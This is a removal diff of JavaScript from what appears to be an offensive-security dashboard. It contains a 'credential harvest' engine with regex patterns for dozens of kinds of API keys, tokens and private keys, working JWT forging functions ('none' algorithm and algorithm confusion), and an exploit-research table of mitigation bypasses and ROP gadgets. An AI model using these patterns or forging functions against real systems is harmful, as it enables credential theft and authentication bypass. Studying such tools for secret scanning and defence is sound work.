-                    oauth: { pattern: /[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com/g, severity: 'high', provider: 'GCP' },
-                    serviceAccount: { pattern: /"type"\s*:\s*"service_account"[\s\S]*?"private_key"\s*:\s*"-----BEGIN [A-Z ]+ KEY-----/g, severity: 'critical', provider: 'GCP' }
-                },
-
-                azure: {
-                    tenantId: { pattern: /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g, severity: 'medium', provider: 'Azure' },
-                    clientSecret: { pattern: /(?:client_secret|AZURE_CLIENT_SECRET)['":\s=]+['"]?([A-Za-z0-9~._-]{34,})['"]?/gi, severity: 'critical', provider: 'Azure' },
-                    storageKey: { pattern: /DefaultEndpointsProtocol=https;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]{88}/g, severity: 'critical', provider: 'Azure Storage' },
-                    sasToken: { pattern: /[?&]sig=[A-Za-z0-9%]+&[^'">\s]*/g, severity: 'high', provider: 'Azure SAS' }
-                },
-
-                // Version Control
-                github: {
-                    pat: { pattern: /ghp_[A-Za-z0-9]{36}/g, severity: 'critical', provider: 'GitHub PAT' },
-                    oauth: { pattern: /gho_[A-Za-z0-9]{36}/g, severity: 'high', provider: 'GitHub OAuth' },
-                    app: { pattern: /(?:ghu|ghs)_[A-Za-z0-9]{36}/g, severity: 'high', provider: 'GitHub App' },
-                    refresh: { pattern: /ghr_[A-Za-z0-9]{36}/g, severity: 'high', provider: 'GitHub Refresh' },
-                    fineGrained: { pattern: /github_pat_[A-Za-z0-9]{22}_[A-Za-z0-9]{59}/g, severity: 'critical', provider: 'GitHub Fine-Grained' }
-                },
-
-                gitlab: {
-                    pat: { pattern: /glpat-[A-Za-z0-9\-_]{20}/g, severity: 'critical', provider: 'GitLab PAT' },
-                    runner: { pattern: /GR1348941[A-Za-z0-9\-_]{20}/g, severity: 'high', provider: 'GitLab Runner' },
-                    pipeline: { pattern: /glptt-[A-Za-z0-9]{40}/g, severity: 'high', provider: 'GitLab Pipeline' }
-                },
-
-                bitbucket: {
-                    appPassword: { pattern: /ATBB[A-Za-z0-9]{32}/g, severity: 'critical', provider: 'Bitbucket' }
-                },
-
-                // Communication Platforms
-                slack: {
-                    token: { pattern: /xox[baprs]-[0-9]{10,13}-[0-9]{10,13}[A-Za-z0-9-]*/g, severity: 'critical', provider: 'Slack' },
-                    webhook: { pattern: /https:\/\/hooks\.slack\.com\/services\/T[A-Z0-9]+\/B[A-Z0-9]+\/[A-Za-z0-9]+/g, severity: 'high', provider: 'Slack Webhook' }
-                },
-
-                discord: {
-                    token: { pattern: /[MN][A-Za-z\d]{23,}\.[\w-]{6}\.[\w-]{27}/g, severity: 'critical', provider: 'Discord Bot' },
-                    webhook: { pattern: /https:\/\/discord(?:app)?\.com\/api\/webhooks\/\d+\/[A-Za-z0-9_-]+/g, severity: 'high', provider: 'Discord Webhook' }
-                },
-
-                telegram: {
-                    botToken: { pattern: /[0-9]{8,10}:[A-Za-z0-9_-]{35}/g, severity: 'critical', provider: 'Telegram Bot' }
-                },
-
-                // Payment Processors
-                stripe: {
-                    secretKey: { pattern: /sk_live_[A-Za-z0-9]{24,}/g, severity: 'critical', provider: 'Stripe Live' },
-                    testKey: { pattern: /sk_test_[A-Za-z0-9]{24,}/g, severity: 'medium', provider: 'Stripe Test' },
-                    publishableKey: { pattern: /pk_(?:live|test)_[A-Za-z0-9]{24,}/g, severity: 'low', provider: 'Stripe Publishable' },
-                    restrictedKey: { pattern: /rk_(?:live|test)_[A-Za-z0-9]{24,}/g, severity: 'high', provider: 'Stripe Restricted' }
-                },
-
-                paypal: {
-                    braintree: { pattern: /access_token\$production\$[a-z0-9]{16}\$[a-f0-9]{32}/g, severity: 'critical', provider: 'PayPal Braintree' }
-                },
-
-                square: {
-                    accessToken: { pattern: /sq0atp-[A-Za-z0-9\-_]{22}/g, severity: 'critical', provider: 'Square' },
-                    oauth: { pattern: /sq0csp-[A-Za-z0-9\-_]{43}/g, severity: 'critical', provider: 'Square OAuth' }
-                },
-
-                // Database Connection Strings
-                database: {
-                    postgres: { pattern: /postgres(?:ql)?:\/\/[^:]+:[^@]+@[^\/]+\/[^\s'"]+/gi, severity: 'critical', provider: 'PostgreSQL' },
-                    mysql: { pattern: /mysql:\/\/[^:]+:[^@]+@[^\/]+\/[^\s'"]+/gi, severity: 'critical', provider: 'MySQL' },
-                    mongodb: { pattern: /mongodb(?:\+srv)?:\/\/[^:]+:[^@]+@[^\s'"]+/gi, severity: 'critical', provider: 'MongoDB' },
-                    redis: { pattern: /redis:\/\/[^:]*:[^@]+@[^\s'"]+/gi, severity: 'critical', provider: 'Redis' },
-                    mssql: { pattern: /Server=[^;]+;Database=[^;]+;User Id=[^;]+;Password=[^;]+/gi, severity: 'critical', provider: 'MSSQL' }
-                },
-
-                // Authentication Tokens
-                jwt: {
-                    token: { pattern: /eyJ[A-Za-z0-9-_]+\.eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_.+/=]*/g, severity: 'high', provider: 'JWT' }
-                },
-
-                oauth: {
-                    bearer: { pattern: /Bearer\s+([A-Za-z0-9-_]+\.?){2,}/gi, severity: 'high', provider: 'OAuth Bearer' },
-                    basic: { pattern: /Basic\s+[A-Za-z0-9+/=]{20,}/gi, severity: 'high', provider: 'HTTP Basic' },
-                    accessToken: { pattern: /access_token['":\s=]+['"]?([A-Za-z0-9-_.]{20,})['"]?/gi, severity: 'high', provider: 'OAuth Access' },
-                    refreshToken: { pattern: /refresh_token['":\s=]+['"]?([A-Za-z0-9-_.]{20,})['"]?/gi, severity: 'high', provider: 'OAuth Refresh' }
-                },
-
-                // API Keys (Generic)
-                apiKeys: {
-                    generic: { pattern: /(?:api[_-]?key|apikey|api_secret|api_token)['":\s=]+['"]?([A-Za-z0-9-_]{16,})['"]?/gi, severity: 'high', provider: 'Generic API' },
-                    sendgrid: { pattern: /SG\.[A-Za-z0-9-_]{22}\.[A-Za-z0-9-_]{43}/g, severity: 'critical', provider: 'SendGrid' },
-                    mailgun: { pattern: /key-[a-f0-9]{32}/g, severity: 'critical', provider: 'Mailgun' },
-                    mailchimp: { pattern: /[a-f0-9]{32}-us[0-9]{1,2}/g, severity: 'high', provider: 'Mailchimp' },
-                    twilio: { pattern: /SK[a-f0-9]{32}/g, severity: 'critical', provider: 'Twilio' },
-                    heroku: { pattern: /[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/g, severity: 'high', provider: 'Heroku' },
-                    npm: { pattern: /npm_[A-Za-z0-9]{36}/g, severity: 'critical', provider: 'NPM' },
-                    pypi: { pattern: /pypi-AgEIcHlwaS5vcmc[A-Za-z0-9-_]{50,}/g, severity: 'critical', provider: 'PyPI' }
-                },
-
-                // SSH & Crypto Keys
-                cryptoKeys: {
-                    rsaPrivate: { pattern: /-----BEGIN RSA PRIVATE KEY-----[\s\S]+?-----END RSA PRIVATE KEY-----/g, severity: 'critical', provider: 'RSA Private Key' },
-                    dsaPrivate: { pattern: /-----BEGIN DSA PRIVATE KEY-----[\s\S]+?-----END DSA PRIVATE KEY-----/g, severity: 'critical', provider: 'DSA Private Key' },
-                    ecPrivate: { pattern: /-----BEGIN EC PRIVATE KEY-----[\s\S]+?-----END EC PRIVATE KEY-----/g, severity: 'critical', provider: 'EC Private Key' },
-                    opensshPrivate: { pattern: /-----BEGIN OPENSSH PRIVATE KEY-----[\s\S]+?-----END OPENSSH PRIVATE KEY-----/g, severity: 'critical', provider: 'OpenSSH Private Key' },
-                    pgpPrivate: { pattern: /-----BEGIN PGP PRIVATE KEY BLOCK-----[\s\S]+?-----END PGP PRIVATE KEY BLOCK-----/g, severity: 'critical', provider: 'PGP Private Key' }
-                },
-
-                // Hardcoded Credentials
-                passwords: {
-                    password: { pattern: /(?:password|passwd|pwd|pass)['":\s=]+['"]([^'"]{4,})['"]?/gi, severity: 'high', provider: 'Password' },
-                    secret: { pattern: /(?:secret|token|key)['":\s=]+['"]([^'"]{8,})['"]?/gi, severity: 'high', provider: 'Secret' },
-                    credential: { pattern: /(?:credential|auth)['":\s=]+['"]([^'"]{8,})['"]?/gi, severity: 'high', provider: 'Credential' }
-                },
-
-                // Session & Cookies
-                sessions: {
-                    phpSession: { pattern: /PHPSESSID[=:][A-Za-z0-9]{26,}/gi, severity: 'high', provider: 'PHP Session' },
-                    javaSession: { pattern: /JSESSIONID[=:][A-Za-z0-9.]{20,}/gi, severity: 'high', provider: 'Java Session' },
-                    aspSession: { pattern: /ASP\.NET_SessionId[=:][A-Za-z0-9]{20,}/gi, severity: 'high', provider: 'ASP.NET Session' },
-                    railsSession: { pattern: /_session_id[=:][A-Za-z0-9]{32,}/gi, severity: 'high', provider: 'Rails Session' }
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // ENTROPY ANALYZER - Detect high-entropy secrets
-            // ─────────────────────────────────────────────────────────────
-            entropy: {
-                calculate(str) {
-                    if (!str || str.length === 0) return 0;
-                    const freq = {};
-                    for (const c of str) freq[c] = (freq[c] || 0) + 1;
-                    let entropy = 0;
-                    const len = str.length;
-                    for (const count of Object.values(freq)) {
-                        const p = count / len;
-                        entropy -= p * Math.log2(p);
-                    }
-                    return Math.round(entropy * 100) / 100;
-                },
-
-                isHighEntropy(str, threshold = 4.0) {
-                    // Secrets typically have entropy > 4.0
-                    return this.calculate(str) >= threshold;
-                },
-
-                charsetScore(str) {
-                    let score = 0;
-                    if (/[a-z]/.test(str)) score++;
-                    if (/[A-Z]/.test(str)) score++;
-                    if (/[0-9]/.test(str)) score++;
-                    if (/[^a-zA-Z0-9]/.test(str)) score++;
-                    return score;
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // JWT ANALYZER - Deep JWT inspection
-            // ─────────────────────────────────────────────────────────────
-            jwt: {
-                decode(token) {
-                    try {
-                        const parts = token.split('.');
-                        if (parts.length !== 3) return null;
-
-                        const b64Decode = (str) => {
-                            const padded = str.replace(/-/g, '+').replace(/_/g, '/');
-                            return JSON.parse(atob(padded));
-                        };
-
-                        const header = b64Decode(parts[0]);
-                        const payload = b64Decode(parts[1]);
-                        const now = Math.floor(Date.now() / 1000);
-
-                        return {
-                            raw: token,
-                            header: header,
-                            payload: payload,
-                            signature: parts[2],
-                            algorithm: header.alg,
-                            type: header.typ,
-                            // Security analysis
-                            analysis: {
-                                isExpired: payload.exp ? now > payload.exp : null,
-                                isNotYetValid: payload.nbf ? now < payload.nbf : false,
-                                expiresIn: payload.exp ? payload.exp - now : null,
-                                issuer: payload.iss || null,
-                                audience: payload.aud || null,
-                                subject: payload.sub || null,
-                                // Privilege extraction
-                                roles: payload.roles || payload.role || payload.groups || payload.scope || [],
-                                permissions: payload.permissions || payload.perms || [],
-                                isAdmin: this._checkAdmin(payload),
-                                // Weak algorithm check
-                                weakAlgorithm: ['none', 'HS256'].includes(header.alg),
-                                // Key ID for key confusion attacks
-                                keyId: header.kid || null
-                            }
-                        };
-                    } catch (e) {
-                        return { error: e.message, raw: token };
-                    }
-                },
-
-                _checkAdmin(payload) {
-                    const adminIndicators = ['admin', 'administrator', 'superuser', 'root', 'sudo'];
-                    const payloadStr = JSON.stringify(payload).toLowerCase();
-                    return adminIndicators.some(ind => payloadStr.includes(ind));
-                },
-
-                // JWT attack vectors
-                attacks: {
-                    noneAlgorithm: (token) => {
-                        const parts = token.split('.');
-                        const header = { alg: 'none', typ: 'JWT' };
-                        return btoa(JSON.stringify(header)).replace(/=/g, '') + '.' + parts[1] + '.';
-                    },
-
-                    algorithmConfusion: (token, newAlg = 'HS256') => {
-                        const parts = token.split('.');
-                        const header = JSON.parse(atob(parts[0].replace(/-/g, '+').replace(/_/g, '/')));
-                        header.alg = newAlg;
-                        return btoa(JSON.stringify(header)).replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_') +
-                               '.' + parts[1] + '.' + parts[2];
-                    }
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // COOKIE ANALYZER - Session token inspection
-            // ─────────────────────────────────────────────────────────────
-            cookies: {
-                parse(cookieString) {
-                    const cookies = [];
-                    const parts = cookieString.split(/;\s*/);
-
-                    for (const part of parts) {
-                        const [name, ...valueParts] = part.split('=');
-                        if (name && valueParts.length) {
-                            const value = valueParts.join('=');
-                            cookies.push({
-                                name: name.trim(),
-                                value: value,
-                                analysis: this.analyze(name.trim(), value)
-                            });
-                        }
-                    }
-                    return cookies;
-                },
-
-                analyze(name, value) {
-                    const analysis = {
-                        isSession: /session|sess|sid|jsessionid|phpsessid|aspsession/i.test(name),
-                        isAuth: /auth|token|jwt|access|login/i.test(name),
-                        isTracking: /track|analytics|_ga|_gid|fbp|_fbp/i.test(name),
-                        entropy: null,
-                        possibleType: 'unknown',
-                        securityFlags: {
-                            httpOnly: false, // Can't detect from value
-                            secure: false,   // Can't detect from value
-                            sameSite: null
-                        }
-                    };
-
-                    // Calculate entropy
-                    const entropyCalc = GRIFFIN.entropy.calculate(value);
-                    analysis.entropy = entropyCalc;
-
-                    // Determine type
-                    if (value.startsWith('eyJ')) {
-                        analysis.possibleType = 'JWT';
-                    } else if (/^[a-f0-9]{32,}$/i.test(value)) {
-                        analysis.possibleType = 'hash/session';
-                    } else if (entropyCalc > 4.5) {
-                        analysis.possibleType = 'encrypted/random';
-                    } else if (/^\d+$/.test(value)) {
-                        analysis.possibleType = 'numeric_id';
-                    }
-
-                    return analysis;
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // MAIN HARVEST ENGINE
-            // ─────────────────────────────────────────────────────────────
-            async harvest(content, options = {}) {
-                const startTime = performance.now();
-                console.log(`[GRIFFIN] 🦊 Initiating credential harvest...`);
-                console.log(`[GRIFFIN] Content size: ${content.length} bytes`);
-
-                const results = {
-                    secrets: [],
-                    jwts: [],
-                    cookies: [],
-                    highEntropy: [],
-                    summary: {},
-                    metadata: {
-                        contentSize: content.length,
-                        scanTime: null
-                    }
-                };
-
-                // Scan all pattern categories
-                for (const [category, providers] of Object.entries(this.patterns)) {
-                    for (const [name, config] of Object.entries(providers)) {
-                        const matches = [...new Set(content.match(config.pattern) || [])];
-                        for (const match of matches) {
-                            results.secrets.push({
-                                category: category,
-                                type: name,
-                                value: match,
-                                severity: config.severity,
-                                provider: config.provider,
-                                entropy: this.entropy.calculate(match),
-                                truncated: match.length > 50 ? match.substring(0, 50) + '...' : match
-                            });
-                        }
-                    }
-                }
-
-                // Decode JWTs
-                const jwtMatches = content.match(/eyJ[A-Za-z0-9-_]+\.eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_.+/=]*/g) || [];
-                for (const jwt of [...new Set(jwtMatches)]) {
-                    const decoded = this.jwt.decode(jwt);
-                    if (decoded && !decoded.error) {
-                        results.jwts.push(decoded);
-                    }
-                }
-
-                // Extract cookies from headers
-                const cookieHeaders = content.match(/(?:Set-)?Cookie:\s*([^\r\n]+)/gi) || [];
-                for (const header of cookieHeaders) {
-                    const cookieValue = header.replace(/^(?:Set-)?Cookie:\s*/i, '');
-                    results.cookies.push(...this.cookies.parse(cookieValue));
-                }
-
-                // High-entropy string detection (potential secrets)
-                const potentialSecrets = content.match(/['"][A-Za-z0-9+/=_-]{20,}['"]/g) || [];
-                for (const potential of potentialSecrets) {
-                    const value = potential.slice(1, -1);
-                    const entropy = this.entropy.calculate(value);
-                    if (entropy > 4.5 && this.entropy.charsetScore(value) >= 3) {
-                        // Check it's not already found
-                        if (!results.secrets.some(s => s.value === value)) {
-                            results.highEntropy.push({
-                                value: value,
-                                entropy: entropy,
-                                charsetScore: this.entropy.charsetScore(value),
-                                truncated: value.length > 50 ? value.substring(0, 50) + '...' : value
-                            });
-                        }
-                    }
-                }
-
-                // Build summary
-                const elapsed = Math.round(performance.now() - startTime);
-                results.metadata.scanTime = `${elapsed}ms`;
-
-                results.summary = {
-                    totalSecrets: results.secrets.length,
-                    byCategory: {},
-                    bySeverity: { critical: 0, high: 0, medium: 0, low: 0 },
-                    jwtsFound: results.jwts.length,
-                    jwtsExpired: results.jwts.filter(j => j.analysis?.isExpired).length,
-                    jwtsAdmin: results.jwts.filter(j => j.analysis?.isAdmin).length,
-                    cookiesFound: results.cookies.length,
-                    sessionCookies: results.cookies.filter(c => c.analysis?.isSession).length,
-                    highEntropyStrings: results.highEntropy.length
-                };
-
-                // Count by category and severity
-                for (const secret of results.secrets) {
-                    results.summary.byCategory[secret.category] = (results.summary.byCategory[secret.category] || 0) + 1;
-                    results.summary.bySeverity[secret.severity] = (results.summary.bySeverity[secret.severity] || 0) + 1;
-                }
-
-                // Log results
-                console.log(`[GRIFFIN] ✓ Harvest complete in ${elapsed}ms`);
-                console.log(`[GRIFFIN]   Secrets: ${results.summary.totalSecrets}`);
-                console.log(`[GRIFFIN]   Critical: ${results.summary.bySeverity.critical}`);
-                console.log(`[GRIFFIN]   JWTs: ${results.summary.jwtsFound} (${results.summary.jwtsAdmin} admin)`);
-                console.log(`[GRIFFIN]   Cookies: ${results.summary.cookiesFound}`);
-                console.log(`[GRIFFIN]   High-entropy: ${results.summary.highEntropyStrings}`);
-
-                return results;
-            },
-
-            // Demo function
-            async runDemo() {
-                console.log('═══════════════════════════════════════════════════════════');
-                console.log('🔑 GRIFFIN v2.0 - Secret Boundary Engine');
-                console.log('   Power: 95 | Offense: 100% | Defense: 0%');
-                console.log('   "Find the leak, redact the value, force owner action."');
-                console.log('═══════════════════════════════════════════════════════════');
-
-                // Comprehensive demo content
-                const demoContent = `
-                    // Cloud credentials
-                    AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
-                    AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
-
-                    // GitHub tokens
-                    GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-                    github_pat_11ABCDEFG_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-
-                    // Slack token
-                    SLACK_TOKEN=xoxb-123456789012-1234567890123-AbCdEfGhIjKlMnOpQrStUvWx
-
-                    // JWT tokens
-                    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjpbImFkbWluIiwic3VwZXJ1c2VyIl0sImlzcyI6InNlY3VyZS1hcHAiLCJleHAiOjE5OTk5OTk5OTl9.signature
-
-                    // Database connections
-                    DATABASE_URL=postgres://admin:supersecret123@db.example.com:5432/production
-                    MONGODB_URI=mongodb+srv://user:p4ssw0rd@cluster0.mongodb.net/mydb
-
-                    // API keys
-                    STRIPE_SECRET_KEY=sk_live_51234567890abcdefghijklmnop
-                    SENDGRID_API_KEY=SG.xxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-
-                    // Private key
-                    -----BEGIN RSA PRIVATE KEY-----
-                    MIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWyF1w6Dq4=
-                    -----END RSA PRIVATE KEY-----
-
-                    // Cookies
-                    Set-Cookie: PHPSESSID=abc123def456789xyz; HttpOnly; Secure
-                    Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.sig; Path=/
-
-                    // Hardcoded credentials
-                    password: "SuperSecretP@ssw0rd!"
-                    api_secret: "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"
-                `;
-
-                // [SIMULATED] Client-side secret detection over the fixture string
-                // only. The backend /api/pliny/griffin/harvest route was retired on
-                // 2026-06-30, so this demo runs entirely in-browser with no backend call.
-
-                // Local harvest
-                const results = await this.harvest(demoContent);
-
-                // Display detailed results
-                console.log('\\n[GRIFFIN] Harvest Results:');
-                console.log('────────────────────────────────────────');
-
-                if (results.secrets.length > 0) {
-                    console.log('\\n🔑 SECRETS FOUND:');
-                    const byCategory = {};
-                    for (const secret of results.secrets) {
-                        if (!byCategory[secret.category]) byCategory[secret.category] = [];
-                        byCategory[secret.category].push(secret);
-                    }
-                    for (const [cat, secrets] of Object.entries(byCategory)) {
-                        console.log(`\\n  ${cat.toUpperCase()}:`);
-                        for (const s of secrets.slice(0, 3)) {
-                            console.log(`    [${s.severity}] ${s.provider}: ${s.truncated}`);
-                        }
-                        if (secrets.length > 3) console.log(`    ... and ${secrets.length - 3} more`);
-                    }
-                }
-
-                if (results.jwts.length > 0) {
-                    console.log('\\n🎫 JWT TOKENS:');
-                    for (const jwt of results.jwts) {
-                        console.log(`    Algorithm: ${jwt.algorithm}`);
-                        console.log(`    Subject: ${jwt.analysis.subject || 'N/A'}`);
-                        console.log(`    Admin: ${jwt.analysis.isAdmin ? 'YES ⚠️' : 'No'}`);
-                        console.log(`    Expired: ${jwt.analysis.isExpired ? 'Yes' : 'No (Valid)'}`);
-                    }
-                }
-
-                // Pattern library stats
-                console.log('\\n[GRIFFIN] Pattern Library:');
-                let totalPatterns = 0;
-                for (const [cat, providers] of Object.entries(this.patterns)) {
-                    const count = Object.keys(providers).length;
-                    totalPatterns += count;
-                    console.log(`   ${cat.toUpperCase()}: ${count} patterns`);
-                }
-                console.log(`   TOTAL: ${totalPatterns} detection patterns`);
-
-                toast('[SIMULATED] 🔑 GRIFFIN demo complete', 'success');
-                addIntel('GRIFFIN', `[SIMULATED] Found ${results.summary.totalSecrets} secrets (${results.summary.bySeverity.critical} critical)`, 'success');
-
-                return results;
-            }
-        };
-
-        window.GRIFFIN = GRIFFIN;
-
-        // ═══════════════════════════════════════════════════════════════
-        // SIMURGH - The Frontier Research Engine - Advanced Vulnerability Research Framework
-        // Power: 100 | Offense: 100% | Defense: 0%
-        // Production-grade exploit primitive analysis & chain building
-        // ═══════════════════════════════════════════════════════════════
-        const SIMURGH = {
-            name: 'SIMURGH',
-            version: '2.0.0',
-            power: 100,
-            offense: 100,
-            defense: 0,
-
-            // ─────────────────────────────────────────────────────────────
-            // VULNERABILITY TAXONOMY - CWE-mapped vulnerability classes
-            // ─────────────────────────────────────────────────────────────
-            vulnDatabase: {
-                memory: {
-                    heap_overflow: {
-                        cwe: 'CWE-122',
-                        name: 'Heap-based Buffer Overflow',
-                        severity: 'critical',
-                        primitives: ['arbitrary_write', 'code_execution'],
-                        techniques: ['heap_feng_shui', 'house_of_force', 'tcache_poisoning'],
-                        mitigations: ['ASLR', 'heap_hardening', 'safe_unlinking']
-                    },
-                    stack_overflow: {
-                        cwe: 'CWE-121',
-                        name: 'Stack-based Buffer Overflow',
-                        severity: 'critical',
-                        primitives: ['rip_control', 'code_execution'],
-                        techniques: ['rop', 'ret2libc', 'stack_pivot'],
-                        mitigations: ['stack_canary', 'ASLR', 'NX']
-                    },
-                    use_after_free: {
-                        cwe: 'CWE-416',
-                        name: 'Use After Free',
-                        severity: 'critical',
-                        primitives: ['type_confusion', 'arbitrary_read', 'arbitrary_write'],
-                        techniques: ['heap_spray', 'vtable_hijack', 'fake_object'],
-                        mitigations: ['safe_unlinking', 'ptr_nullification', 'use_after_free_detection']
-                    },
-                    double_free: {
-                        cwe: 'CWE-415',
-                        name: 'Double Free',
-                        severity: 'critical',
-                        primitives: ['arbitrary_write', 'code_execution'],
-                        techniques: ['fastbin_dup', 'tcache_dup', 'house_of_spirit'],
-                        mitigations: ['double_free_detection', 'heap_hardening']
-                    },
-                    type_confusion: {
-                        cwe: 'CWE-843',
-                        name: 'Type Confusion',
-                        severity: 'critical',
-                        primitives: ['arbitrary_read', 'arbitrary_write', 'code_execution'],
-                        techniques: ['jit_spray', 'fake_object', 'rop'],
-                        mitigations: ['CFI', 'type_checking', 'sandbox']
-                    },
-                    integer_overflow: {
-                        cwe: 'CWE-190',
-                        name: 'Integer Overflow',
-                        severity: 'high',
-                        primitives: ['heap_overflow', 'oob_access'],
-                        techniques: ['size_confusion', 'allocation_bypass'],
-                        mitigations: ['integer_sanitizer', 'safe_math']
-                    },
-                    out_of_bounds: {
-                        cwe: 'CWE-125',
-                        name: 'Out-of-bounds Read/Write',
-                        severity: 'high',
-                        primitives: ['info_leak', 'arbitrary_read', 'arbitrary_write'],
-                        techniques: ['relative_rw', 'adjacent_corruption'],
-                        mitigations: ['bounds_checking', 'ASAN']
-                    },
-                    uninitialized_memory: {
-                        cwe: 'CWE-908',
-                        name: 'Use of Uninitialized Memory',
-                        severity: 'medium',
-                        primitives: ['info_leak', 'type_confusion'],
-                        techniques: ['stack_spray', 'heap_spray'],
-                        mitigations: ['MSAN', 'zero_initialization']
-                    },
-                    format_string: {
-                        cwe: 'CWE-134',
-                        name: 'Format String Vulnerability',
-                        severity: 'critical',
-                        primitives: ['arbitrary_read', 'arbitrary_write', 'info_leak'],
-                        techniques: ['got_overwrite', 'stack_reading'],
-                        mitigations: ['FORTIFY_SOURCE', 'format_checking']
-                    },
-                    null_deref: {
-                        cwe: 'CWE-476',
-                        name: 'NULL Pointer Dereference',
-                        severity: 'medium',
-                        primitives: ['dos', 'info_leak'],
-                        techniques: ['null_page_mapping', 'kernel_exploitation'],
-                        mitigations: ['null_page_protection', 'SMEP']
-                    }
-                },
-
-                logic: {
-                    race_condition: {
-                        cwe: 'CWE-362',
-                        name: 'Race Condition',
-                        severity: 'high',
-                        primitives: ['toctou', 'double_fetch'],
-                        techniques: ['threading_exploitation', 'signal_race'],
-                        mitigations: ['locks', 'atomic_operations']
-                    },
-                    auth_bypass: {
-                        cwe: 'CWE-287',
-                        name: 'Authentication Bypass',
-                        severity: 'critical',
-                        primitives: ['privilege_escalation'],
-                        techniques: ['jwt_confusion', 'session_fixation'],
-                        mitigations: ['mfa', 'session_management']
-                    },
-                    path_traversal: {
-                        cwe: 'CWE-22',
-                        name: 'Path Traversal',
-                        severity: 'high',
-                        primitives: ['arbitrary_file_read', 'arbitrary_file_write'],
-                        techniques: ['null_byte', 'encoding_bypass'],
-                        mitigations: ['path_canonicalization', 'chroot']
-                    },
-                    deserialization: {
-                        cwe: 'CWE-502',
-                        name: 'Insecure Deserialization',
-                        severity: 'critical',
-                        primitives: ['code_execution', 'arbitrary_object'],
-                        techniques: ['gadget_chain', 'phar_deserialization'],
-                        mitigations: ['allowlist', 'signature_verification']
-                    }
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // PROTECTION BYPASS DATABASE - Known mitigation bypasses
-            // ─────────────────────────────────────────────────────────────
-            protectionBypasses: {
-                ASLR: {
-                    name: 'Address Space Layout Randomization',
-                    techniques: [
-                        { name: 'info_leak', description: 'Leak memory addresses via format string, OOB read', reliability: 95 },
-                        { name: 'partial_overwrite', description: 'Overwrite only lower bytes (unchanged)', reliability: 75 },
-                        { name: 'brute_force', description: 'Brute force 16-bit entropy (32-bit systems)', reliability: 50 },
-                        { name: 'return_to_plt', description: 'Use fixed PLT addresses', reliability: 85 },
-                        { name: 'vsyscall', description: 'Use legacy vsyscall page (if enabled)', reliability: 60 }
-                    ]
-                },
-                NX: {
-                    name: 'Non-Executable Memory (DEP)',
-                    techniques: [
-                        { name: 'rop', description: 'Return-Oriented Programming', reliability: 95 },
-                        { name: 'jop', description: 'Jump-Oriented Programming', reliability: 80 },
-                        { name: 'ret2libc', description: 'Return to libc functions', reliability: 90 },
-                        { name: 'mprotect', description: 'Call mprotect() to make memory executable', reliability: 85 },
-                        { name: 'sigreturn', description: 'SROP - Sigreturn-oriented programming', reliability: 75 }
-                    ]
-                },
-                stack_canary: {
-                    name: 'Stack Canary',
-                    techniques: [
-                        { name: 'canary_leak', description: 'Leak canary via format string/OOB read', reliability: 90 },
-                        { name: 'fork_brute', description: 'Brute force in forking servers', reliability: 70 },
-                        { name: 'overwrite_exit', description: 'Overwrite exit handlers to avoid check', reliability: 60 },
-                        { name: 'master_canary', description: 'Overwrite TLS master canary', reliability: 50 }
-                    ]
-                },
-                CFI: {
-                    name: 'Control Flow Integrity',
-                    techniques: [
-                        { name: 'vtable_reuse', description: 'Use existing vtable entries', reliability: 70 },
-                        { name: 'counterfeit_object', description: 'Create fake objects passing CFI checks', reliability: 60 },
-                        { name: 'data_only', description: 'Data-only attacks (no control flow hijack)', reliability: 85 },
-                        { name: 'jit_spray', description: 'Spray JIT-compiled code (browsers)', reliability: 65 }
-                    ]
-                },
-                RELRO: {
-                    name: 'Relocation Read-Only',
-                    techniques: [
-                        { name: 'partial_relro', description: 'GOT still writable before main()', reliability: 80 },
-                        { name: 'libc_hooks', description: 'Overwrite __free_hook, __malloc_hook', reliability: 85 },
-                        { name: 'dl_runtime', description: 'Overwrite _dl_runtime_resolve', reliability: 50 },
-                        { name: 'exit_handlers', description: 'Target exit handler pointers', reliability: 70 }
-                    ]
-                },
-                PIE: {
-                    name: 'Position Independent Executable',
-                    techniques: [
-                        { name: 'text_leak', description: 'Leak .text address via info disclosure', reliability: 90 },
-                        { name: 'partial_overwrite', description: 'Overwrite lower 12 bits (page offset)', reliability: 75 }
-                    ]
-                },
-                sandbox: {
-                    name: 'Sandbox (seccomp, AppArmor)',
-                    techniques: [
-                        { name: 'allowed_syscalls', description: 'Use only allowed syscalls', reliability: 80 },
-                        { name: 'kernel_exploit', description: 'Exploit kernel to escape sandbox', reliability: 30 },
-                        { name: 'ipc_escape', description: 'Escape via IPC to unsandboxed process', reliability: 50 }
-                    ]
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // ROP GADGET DATABASE - Common gadget patterns
-            // ─────────────────────────────────────────────────────────────
-            gadgets: {
-                x86_64: {
-                    stack_pivot: [
-                        { pattern: 'xchg rax, rsp; ret', bytes: '48 94 c3', utility: 'stack_pivot' },
